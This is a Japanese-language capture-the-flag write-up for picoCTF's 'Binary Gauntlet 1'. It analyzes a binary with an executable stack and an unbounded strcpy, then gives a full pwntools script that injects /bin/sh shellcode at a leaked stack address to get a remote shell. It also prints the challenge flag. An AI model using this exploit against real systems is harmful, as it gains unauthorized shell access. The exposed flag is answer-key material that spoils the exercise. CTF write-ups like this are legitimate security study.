Binary Gauntlet 1 (Binary Exploitation)
Okay, time for a challenge. The flag for this challenge does not include the standard picoCTF{} wrapper. gauntlet nc -v wily-courier.picoctf.net 59294
添付ファイル
・gauntlet
とりあえず、実行する。
$ nc -v wily-courier.picoctf.net 59294
Connection to wily-courier.picoctf.net (18.189.99.27) 59294 port [tcp/*] succeeded!
0x7ffefc04cc80
aaa
aaa
aaa
Binary Gauntlet 0とは異なり、スタックのアドレスが出力されている。
$ file gauntlet
gauntlet: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=2a7f79b758fdc250528e5bbc3da169fbf74e4ad3, not stripped
$ checksec gauntlet
[*] '/home/colza/gauntlet'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX unknown - GNU_STACK missing
PIE: No PIE (0x400000)
Stack: Executable
RWX: Has RWX segments
Stripped: No
NXが無効になっているので、shellcodeを利用できる。
gauntletをデコンパイルする。
undefined8 main(void)
{
char local_78 [104];
char *local_10;
local_10 = (char *)malloc(1000);
printf("%p\n",local_78);
fflush(stdout);
fgets(local_10,1000,stdin);
local_10[999] = '\0';
printf(local_10);
fflush(stdout);
fgets(local_10,1000,stdin);
local_10[999] = '\0';
strcpy(local_78,local_10);
return 0;
}
出力されている値はlocal_78のアドレスであることが分かる。
2回目のfgets関数でshellcode + offset + local_78 addressを書き込めば、strcpyでBOFが発火する。
offsetを計算する。
$ objdump -M intel -d gauntlet
...
400735: 48 8b 55 f8 mov rdx,QWORD PTR [rbp-0x8]
400739: 48 8d 45 90 lea rax,[rbp-0x70]
40073d: 48 89 d6 mov rsi,rdx
400740: 48 89 c7 mov rdi,rax
400743: e8 08 fe ff ff call 400550 <strcpy@plt>
...
local_78がrbp-0x70、return addressがrbp+0x8にあるので、offsetは0x78 = 120である。
以下、実行コード。
from pwn import *
context.binary = ('./gauntlet')
#context.arch = 'amd64'
p = remote('wily-courier.picoctf.net', 59294)
shellcode = asm(
"""
xor rax, rax
push rax
xor rdx, rdx
xor rsi, rsi
movabs rbx, 0x68732f2f6e69622f
push rbx
push rsp
pop rdi
mov al, 0x3b
syscall
"""
)
# shellcode = asm(shellcraft.execve('/bin/sh', 0, 0))
# shellcode = asm(shellcraft.sh())
shellcode_addr = int(p.recvline().strip(), 16)
log.info(hex(shellcode_addr))
payload = shellcode.ljust(120, b"a")
payload += p64(shellcode_addr)
p.sendline(b"a")
p.sendline(payload)
p.interactive()
実行する。
$ python3 solve.py
[*] '/home/colza/gauntlet'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX unknown - GNU_STACK missing
PIE: No PIE (0x400000)
Stack: Executable
RWX: Has RWX segments
Stripped: No
[+] Opening connection to wily-courier.picoctf.net on port 59294: Done
[*] 0x7ffc57f05d50
[*] Switching to interactive mode
a
$ ls
Dockerfile
Makefile
Solution
flag.txt
gauntlet
gauntlet.c
start.sh
$ cat flag.txt
19bcfb848e361b5c7d4ae499afde8465
フラグが得られた。
19bcfb848e361b5c7d4ae499afde8465